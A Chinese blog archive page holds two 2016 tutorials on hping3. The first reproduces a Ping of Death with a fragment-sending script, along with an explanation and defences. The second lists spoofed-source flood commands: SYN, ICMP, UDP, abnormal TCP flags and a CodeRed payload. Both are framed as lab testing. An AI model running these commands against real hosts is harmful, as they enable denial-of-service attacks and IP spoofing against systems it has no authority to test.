March 2016 Blog Posts

使用Hping模拟死亡之Ping(Ping Of Death)

LC 2016-03-05 Networking

1. 在Web主机上定位wireshark上定义过滤器用来抓包

2. 在PC上用ping命令发送在和大小为70000的ICMP包

[root@localhost ~]# ping 192.168.1.1 -s 70000 -c 1

Error: packet size 70000 is too large. Maximum is 65507

 

##系统报错:允许发送的ICMP包的值最大为65507.

3. 用命令,发送数据为7000的ICMP包

[root@localhost ~]# hping 192.168.1.1 -1 -d 70000 -c 1

HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 4464 data bytes

len=1500 ip=192.168.1.1 ttl=127 DF id=57 icmp_seq=0 rtt=39.8 ms

— 192.168.1.1 hping statistic —

1 packets tramitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 39.8/39.8/39.8 ms

 

##可以看到,只截取了4464字节的数据

4. 在Web服务器上启用wireshark抓包

5. 在PC上编辑一个脚本,先发送两个小IP分片测试

[root@localhost ~]# vim pingcs.sh

[root@localhost ~]# more pingcs.sh

#!/bin/bash

hping 192.168.1.1 -1 -x -d 800 -N 100 -c 1

hping 192.168.1.1 -1 -d 200 -g 808 -N 100 -c 1

[root@localhost ~]# chmod +x pingcs.sh

[root@localhost ~]# ./pingcs.sh

HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 800 data bytes

— 192.168.1.1 hping statistic —

1 packets tramitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 200 data bytes

— 192.168.1.1 hping statistic —

1 packets tramitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

 

6. 在Web主机上查看抓到的IP分片

7. 在PC上发送重装后大于65535字节的IP分片

[root@localhost ~]# vim pingofdeath.sh

[root@localhost ~]# more pingofdeath.sh

#!/bin/bash

hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1

for ((i=1;i<50;i++))

do

j=`expr $i \* 1408`

hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1

done

hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1

[root@localhost ~]# chmod +x pingofdeath.sh

[root@localhost ~]# ./pingofdeath.sh

— 192.168.1.1 hping statistic —

1 packets tramitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

…

8. 在Web主机上启用wireshark抓包,可以看到很多IP分片,从中找到offset=64768的包

补充:

死亡之Ping(ping of death)

对目标IP不停地Ping探测从而致使目标主机网络瘫痪。常见工具有蜗牛炸弹、AhBomb等。

由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受方死机。

防御:现在所有的标准TCP/IP 实现 都已 实现 对付超大尺寸的包,并且大多数防火墙能够自动过滤这些攻击,包括:从windows 98之后的windows NT(service pack 3之后),Solaris、和Mac OS都具有抵抗一般ping of death攻击的能力。此外,对防火墙进行配置,阻断ICMP以及任何未知协议,都讲防止此类攻击。

ping -t -l 65500 ip 死亡 之ping(发送大于64K的文件并一直ping就成了 死亡 之ping) 

 

使用Hping模拟DDoS攻击

LC 2016-03-04 Networking

使用模拟DDoS攻击,例举一些常用的方法:

hping www.testtesttest.com -1 -i u100000 -a 192.168.100.200

每秒送10个(-i u10000)ICMP(-1)封包到www.testtesttest.com, 伪造来源IP地址(-a)为192.168.100.200

 注:-1为数字非英文

hping www.testtesttest.com -i u1000000 -a 192.168.100.200 -s 22668 -p 33124

 每秒送1个(-i u1000000)TCP(default)封包到www.testtesttest.com的port 33124,伪造来源IP地址(-a)192.168.100.200 使用的port为22668

 测试1: SYN Flooding(每秒10个封包)

hping destination_IP_address -i u100000 -s -a spoof_source_IP_address

 测试2 :伪造IP的ICMP封包(每秒10个封包)

hping destination_IP_addressIP -i u100000 -1 -a spoof_source_IP_address

 注:-1为数字非英文

 测试3:不正常TCP Flag組合封包(每秒10个封包)

(a)SYN+FIN

 hping destination_IP_address -i u100000 -s -F -a spoof_source_IP_address

 (b)X’mas

 hping destination_IP_address -i u100000 -F -s -R -p -a -U -a spoof_source_IP_address

 测试4:伪造IP的UDP封包

hpingdestination_IP_address -i u100000 -2 -a spoof_source_IP_address

测试5:伪造IP內含CodeRed封包

hping destination_IP_address -i u100000 -d [封包datasize] -E [filename] -a [spoof_source_IP_address]

  

PS:您可以拿它來测试您的系統防护能力,但是千万別拿來乱用

 

的安装请参考文章安装Hping